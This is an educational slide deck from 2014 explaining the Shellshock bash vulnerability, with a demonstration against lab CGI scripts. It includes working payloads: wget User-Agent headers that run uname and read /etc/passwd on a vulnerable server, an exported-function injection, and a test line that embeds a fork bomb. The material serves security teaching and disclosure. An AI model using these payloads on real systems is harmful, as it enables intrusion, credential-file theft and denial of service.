Shellshock
(bash—not war)

Golden G. Richard III
University of New Orleans
golden@cs.uno.edu

Arcane Alloy, LLC
golden@arcanealloy.com

http://www.cs.uno.edu/~golden
http://www.arcanealloy.com

@nolaforensix
Shells: Unix Command Line Interpreters

• **sh**
  – Bourne shell, created by Stephen Bourne
  – Bell Labs

• **csh / tcsh**
  – “C” shell, created by Bill Joy
  – Founder of Sun Microsystems
  – Also wrote vi, chroot, et al

• **bash**
  – “Bourne” Again shell—superset of functionality of **sh** + features from csh and other shells
  – Developed by Brian Fox for GNU in 1989
  – Fringe-y at first, now **almost universally** the default shell
On Mac OS X, `/bin/sh` is bash

garfish:~ golden$ /bin/sh --version
GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13)
Copyright (C) 2007 Free Software Foundation, Inc.
garfish:~ golden$ /bin/bash --version
GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13)
Copyright (C) 2007 Free Software Foundation, Inc.
garfish:~ golden$ /bin/tcsh test
garfish:~ golden$ /bin/tcsh --version
tcsh 6.17.00 (Astron) 2009-07-10 (x86_64-apple-darwin) options wide
,nls,dl,al,kan,sm,rh,color,filec
garfish:~ golden$ /bin/csh --version
tcsh 6.17.00 (Astron) 2009-07-10 (x86_64-apple-darwin) options wide
,nls,dl,al,kan,sm,rh,color,filec
garfish:~ golden$
Shellshock: Stats

• Discovered by Stéphane Chazelas on 9/12/14
• CVE-2014-6271
• Vulnerabilities likely existed since 1992, but were either undiscovered or undisclosed
• Now...
  – CVE-2014-6271 (original shellshock)
  – CVE-2014-6277
  – CVE-2014-6278
  – CVE-2014-7169
  – CVE-2014-7186
  – CVE-2014-7187
  – ...
• Shellshock punchline: Bash executes code after function definitions **without** the function being executed!
• Bad!
Lots of Hoopla, "Complicated" Tests

• World is on fire, imminent destruction of mankind
• "Complex" commands to see if you're vulnerable, with no explanation of what they do

```bash
$ env LC_FB='() { :;}; :(){ :|:& };;:' ssh some_user@some_system
```

• Fact: Lots of really smart people don't understand complex Bash syntax
• We have Perl, Python, Ruby, ... all of which have saner syntax
• Step one: **WTF is going on?**
Bash Functions

#!/bin/bash
for i in $( ls ); do
echo File: $i
done

$_(){ for i in `ls`; do echo "File: $i"; done; echo; }
$_

$:(){ for i in `ls`; do echo "File: $i"; done; echo; }
$

$ weirdls(){ for i in `ls`; do echo "File: $i"; done; echo; }
$ weirdls
Good function definition

$ weirdls(){ for i in `ls`; do echo "File: $i"; done; echo; }; 

Evil function definition

$ weirdls(){ for i in `ls`; do echo "File: $i"; done; echo; }; say "Bad bash. Do not execute this. Bad."
Bash Exports

• This is where it gets weird (isn't it already?)

```
$ export dummy='() { echo "hi"; }; /bin/cat /etc/passwd'
$ bash
```

• Wrongful code execution inherited!
Tests for Vulnerability

bash NOP

$ env x='() { : ; }'; say "Help me" bash -c "test"

bash function
"junk"

Value of environment variable x

run a command using changes to environment variables

(c) 2014 by Golden G. Richard III (golden@cs.uno.edu / @nolaforensix)
LOTS of Stuff Uses Bash!

• If you're already sitting at a bash shell, who cares if you can execute shell commands

• But shellshock allows you to execute bash commands on other people's machines...

• Basically, any webserver using CGI that uses Bash shell commands!
man wget

-\texttt{U} \texttt{agent-string}
  --\texttt{user-agent}=\texttt{agent-string}
    \textbf{Identify as} \texttt{agent-string} to the HTTP server.

The HTTP protocol allows the clients to identify themselves using a "User-Agent" header field. This enables distinguishing the WWW software, usually for statistical purposes or for tracing of protocol violations..
Here's the Bad News

$ wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/uname -a" http://172.16.156.130/cgi-bin/innocent.cgi

$ wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" http://172.16.156.130/cgi-bin/innocent.cgi
innocent.cgi, unpatched bash, Ubuntu 14.04 / Apache

#!/bin/bash

echo "Content-type: text/html"

echo ""

echo "The time is"

date

exit 0
It's Even Worse

• ANY CGI, even a "blank" one, as long as it invokes /bin/bash, is vulnerable!

$ wget -U "() { test; }; echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" http://172.16.156.130/cgi-bin/innocent2.cgi
innocent2.cgi, unpatched bash, Ubuntu 14.04 / Apache

#!/bin/bash
Also potentially affected: Other services that expose user-controlled environment variables to bash.

Better Patch.

golden@cs.uno.edu
golden@arcanealloy.com
@nolaforensix

(c) 2014 by Golden G. Richard III (golden@cs.uno.edu / @nolaforensix)